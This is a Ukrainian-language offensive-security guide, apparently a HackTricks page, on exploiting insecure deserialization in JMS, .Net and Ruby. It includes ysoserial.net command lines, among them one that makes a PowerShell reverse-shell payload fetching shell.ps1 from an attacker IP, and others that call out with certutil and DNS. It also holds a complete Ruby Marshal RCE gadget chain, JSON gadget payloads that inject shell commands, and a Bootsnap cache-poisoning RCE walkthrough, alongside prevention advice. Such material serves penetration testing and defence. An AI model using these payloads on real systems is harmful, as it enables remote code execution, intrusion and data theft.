The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
Існує кілька продуктів, які використовують це middleware для відправки повідомлень:
Exploitation
Отже, по суті існує багато сервісів, що використовують JMS небезпечним способом. Тому, якщо у вас є достатні привілеї для відправки повідомлень у ці сервіси (зазвичай потрібні валідні облікові дані), ви можете надіслати шкідливі серіалізовані об’єкти, які будуть десеріалізовані споживачем/підписником.
Це означає, що при такій експлуатації всі клієнти, які використовуватимуть це повідомлення, можуть бути інфіковані.
Потрібно пам’ятати, що навіть якщо сервіс вразливий (через небезпечну десеріалізацію вхідних даних), все одно треба знайти валідні gadgets для експлуатації вразливості.
Інструмент JMET був створений, щоб підключатися та атакувати ці сервіси, відправляючи кілька шкідливих серіалізованих об’єктів, використовуючи відомі gadgets. Ці експлойти спрацюють, якщо сервіс все ще вразливий і якщо будь-який із використаних gadgets присутній у вразливому застосунку.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
У контексті .Net експлойти через десеріалізацію працюють аналогічно до Java — gadgets використовуються для виконання певного коду під час десеріалізації об’єкта.
Fingerprint
WhiteBox
Потрібно перевірити вихідний код на наявність:
TypeNameHandling
JavaScriptTypeResolver
Увага має бути спрямована на серіалізатори, які дозволяють визначати тип через змінну під контролем користувача.
BlackBox
Пошук має бути спрямований на Base64-кодований рядок AAEAAAD///// або будь-який подібний шаблон, який може пройти десеріалізацію на стороні сервера, надаючи контроль над типом для десеріалізації. Це може включати, але не обмежується, JSON або XML структурами з TypeObject
або $type
.
ysoserial.net
У цьому випадку ви можете використати інструмент ysoserial.net, щоб створювати експлойти через десеріалізацію. Після завантаження репозиторію git слід скомпілювати інструмент, наприклад, через Visual Studio.
Якщо ви хочете дізнатися, як ysoserial.net створює свої експлойти, ви можете переглянути цю сторінку, де пояснюється ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
Головні опції ysoserial.net: --gadget
, --formatter
, --output
та --plugin
.
--gadget
використовується для вказівки gadget, який буде зловживатися (вказати клас/функцію, що буде використана під час десеріалізації для виконання команд).--formatter
використовується для вказівки методу серіалізації експлойта (потрібно знати, яку бібліотеку використовує бекенд для десеріалізації та використовувати ту ж саму для серіалізації).--output
вказує, чи хочете ви отримати експлойт у вигляді raw або base64. Зверніть увагу, що ysoserial.net кодує payload з використанням UTF-16LE (кодування за замовчуванням у Windows), тому якщо ви отримаєте raw і просто закодуєте його з консольки на Linux, можуть виникнути проблеми сумісності кодувань, які завадять експлойту працювати коректно (в HTB JSON box payload працював і в UTF-16LE, і в ASCII, але це не гарантує роботи завжди).--plugin
ysoserial.net підтримує плагіни для створення експлойтів для конкретних фреймворків, наприклад ViewState
Більше параметрів ysoserial.net
--minify
намагатиметься створити менший payload (якщо можливо)--raf -f Json.Net -c "anything"
це покаже всі gadgets, які можна використати з вказаним formatter (Json.Net
у цьому прикладі)--sf xml
ви можете вказати gadget (-g
) і ysoserial.net буде шукати formatter'и, що містять "xml" (незалежно від регістру)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net також має дуже цікавий параметр, який допомагає краще зрозуміти, як працює кожен exploit: --test
Якщо ви вкажете цей параметр, ysoserial.net спробує exploit локально, щоб ви могли перевірити, чи ваш payload працюватиме коректно.
Цей параметр корисний, тому що, якщо ви переглянете код, ви знайдете фрагменти коду, схожі на наступний (з ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Це означає, що для перевірки експлойту код викличе serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
У попередньому коді є вразливість, яку створює експлойт. Тому, якщо ви знайдете щось подібне в .Net застосунку, це означає, що, ймовірно, і цей застосунок також вразливий.
Отже, параметр --test
дозволяє нам зрозуміти які частини коду вразливі до експлойту десеріалізації, який може створити ysoserial.net.
ViewState
Погляньте на this POST about how to try to exploit the __ViewState parameter of .Net щоб запустити довільний код. Якщо ви вже знаєте секрети, що використовуються на машині жертви, прочитайте цю статтю, щоб дізнатися, як виконати код.
Prevention
Щоб зменшити ризики, пов'язані з десеріалізацією в .Net:
- Уникайте дозволу потокам даних визначати типи об'єктів. Використовуйте
DataContractSerializer
абоXmlSerializer
, коли це можливо. - Для
JSON.Net
, встановітьTypeNameHandling
вNone
:TypeNameHandling = TypeNameHandling.None
- Уникайте використання
JavaScriptSerializer
зJavaScriptTypeResolver
. - Обмежуйте типи, які можуть десеріалізуватися, усвідомлюючи властиві ризики типів .Net, таких як
System.IO.FileInfo
, який може змінювати властивості файлів на сервері, потенційно призводячи до атак відмови в обслуговуванні. - Будьте обережні з типами, що мають ризикові властивості, як-от
System.ComponentModel.DataAnnotations.ValidationException
з властивістюValue
, яку можна експлуатувати. - Безпечно контролюйте створення екземплярів типів, щоб запобігти впливу атакуючих на процес десеріалізації, через що навіть
DataContractSerializer
абоXmlSerializer
можуть стати вразливими. - Реалізуйте механізми білого списку за допомогою кастомного
SerializationBinder
дляBinaryFormatter
іJSON.Net
. - Будьте в курсі відомих небезпечних deserialization gadgets у .Net і переконайтеся, що десеріалізатори не створюють екземпляри таких типів.
- Ізолюйте потенційно ризиковий код від коду з доступом в інтернет, щоб уникнути експонування відомих гаджетів, таких як
System.Windows.Data.ObjectDataProvider
у WPF-застосунках, ненадійним джерелам даних.
References
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, доповідь: https://www.youtube.com/watch?v=oUAeWhW5b8c та слайди: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
У Ruby серіалізація здійснюється двома методами з бібліотеки marshal. Перший метод, відомий як dump, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Натомість другий метод, load, застосовується для відновлення об'єкта з байтового потоку — процес, відомий як десеріалізація.
Для захисту серіалізованих об'єктів Ruby використовує HMAC (Hash-Based Message Authentication Code), що забезпечує цілісність та автентичність даних. Ключ, який використовується для цього, зберігається в одному з наступних місць:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (детальніше в https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Інший RCE-ланцюжок для експлуатації Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Метод Ruby .send()
Як пояснено в this vulnerability report, якщо незнешкоджений введений користувачем ввід потрапляє в метод .send()
об'єкта Ruby, цей метод дозволяє викликати будь-який інший метод об'єкта з будь-якими параметрами.
Наприклад, виклик eval і передача ruby-коду як другого параметра дозволить виконати довільний код:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Крім того, якщо лише один параметр у .send()
контролюється нападником, як згадано в попередньому writeup, можливо викликати будь-який метод об'єкта, який не потребує аргументів або аргументи якого мають значення за замовчуванням.
Для цього можна перерахувати всі методи об'єкта, щоб знайти деякі цікаві методи, які відповідають цим вимогам.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Перегляньте, як може бути можливим pollute a Ruby class and abuse it in here.
Ruby _json pollution
Коли в body надсилаються не-hashable значення, наприклад масиви, вони будуть додані в новий ключ під назвою _json
. Однак атакуючий також може в body задати значення з ім'ям _json
із будь-якими довільними даними. Якщо, наприклад, backend перевіряє достовірність параметра, але потім також використовує параметр _json
для виконання якоїсь дії, може бути здійснено authorisation bypass.
Детальніше див. на Ruby _json pollution page.
Інші бібліотеки
Ця техніка запозичена from this blog post.
Існують інші Ruby бібліотеки, які можна використати для serialize об'єктів і які, отже, можуть бути зловживані для отримання RCE під час insecure deserialization. У наступній таблиці показано деякі з цих бібліотек і метод, який викликається у завантаженому класі під час unserialization (функція, яку можна зловживати для отримання RCE):
Бібліотека | Вхідні дані | Метод запуску всередині класу |
Marshal (Ruby) | Binary | _load |
Oj | JSON | hash (class needs to be put into hash(map) as key) |
Ox | XML | hash (class needs to be put into hash(map) as key) |
Psych (Ruby) | YAML | hash (class needs to be put into hash(map) as key)init_with |
JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Базовий приклад:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
При спробі зловживання Oj вдалося знайти gadget class, який всередині своєї функції hash
викликає to_s
, що викликає spec, яка, у свою чергу, викликає fetch_path; її можна було змусити отримувати випадковий URL, що дає надійний індикатор таких unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Крім того, було виявлено, що попередньою технікою в системі також створюється папка, яка є необхідною умовою для зловживання іншим gadget, щоб перетворити це на повний RCE за допомогою чогось на кшталт:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Перегляньте деталі в original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identify the Vulnerability and Environment
Функціонал завантаження файлів у Rails-додатку дозволяє атакуючому записувати файли довільно. Хоча додаток працює з обмеженнями (запис дозволений лише в певні директорії, наприклад tmp, через те, що Docker запускає процес від імені користувача без root), це все одно дозволяє писати в директорію кешу Bootsnap (зазвичай під tmp/cache/bootsnap).
- Understand Bootsnap’s Cache Mechanism
Bootsnap пришвидшує час старту Rails, кешуючи скомпільований Ruby-код, YAML та JSON-файли. Він зберігає файли кешу, які містять заголовок cache key (з полями, як-от версія Ruby, розмір файлу, mtime, compile_option тощо), після якого йде скомпільований код. Цей заголовок використовується для валідації кешу під час запуску додатку.
- Gather File Metadata
Атакуючий спочатку обирає цільовий файл, який ймовірно завантажується під час старту Rails (наприклад, set.rb із стандартної бібліотеки Ruby). Виконуючи Ruby-код всередині контейнера, він витягує критичні метадані (такі як RUBY_VERSION, RUBY_REVISION, size, mtime та compile_option). Ці дані необхідні для створення валідного cache key.
- Compute the Cache File Path
Відтворивши механізм хешування FNV-1a 64-bit, який використовує Bootsnap, визначається правильний шлях файлу кешу. Цей крок гарантує, що шкідливий файл кешу буде розміщено саме там, де його очікує Bootsnap (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Атакуючий готує payload, який:
- Виконує довільні команди (наприклад, запуск id для показу інформації про процес).
- Видаляє шкідливий кеш після виконання, щоб запобігти рекурсивній експлуатації.
- Завантажує оригінальний файл (наприклад, set.rb), щоб уникнути падіння додатку.
Цей payload компілюється в бінарний Ruby-код і конкатенується з ретельно сформованим заголовком cache key (з використанням раніше зібраних метаданих і правильної версії Bootsnap).
- Overwrite and Trigger Execution
За допомогою уразливості довільного запису файлу атакуючий записує підготовлений файл кешу в обчислене місце. Далі він ініціює перезапуск сервера (наприклад, записом у tmp/restart.txt, який моніторить Puma). Під час перезапуску, коли Rails робить require цільовий файл, завантажується шкідливий файл кешу, що призводить до remote code execution (RCE).
Ruby Marshal: експлуатація на практиці (оновлено)
Слід вважати будь-який шлях, по якому неперевірені байти потрапляють у Marshal.load
/marshal_load
, RCE-сінком. Marshal реконструює довільні графи об’єктів і викликає callbacks бібліотек/gem під час матеріалізації.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Поширені gadget classes, які зустрічаються в реальних chains:
Gem::SpecFetcher
,Gem::Version
,Gem::RequestSet::Lockfile
,Gem::Resolver::GitSpecification
,Gem::Source::Git
. - Типовий маркер побічного ефекту, вбудований у payloads (виконується під час unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Де це проявляється в реальних додатках:
- Сховища кешу та сховища сесій у Rails, які історично використовують Marshal
- Бекенди фонoвих завдань та файлові сховища об'єктів
- Будь-яка власна персистентність або передача двійкових blob-об'єктів
Індустріалізоване виявлення gadget-ланцюгів:
- Шукайте за допомогою grep конструктори,
hash
,_load
,init_with
або методи з побічними ефектами, які викликаються під час десеріалізації - Використовуйте CodeQL’s Ruby unsafe deserialization queries, щоб прослідкувати sources → sinks та виявити gadgets
- Перевіряйте за допомогою публічних багатоформатних PoCs (JSON/XML/YAML/Marshal)
Джерела
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.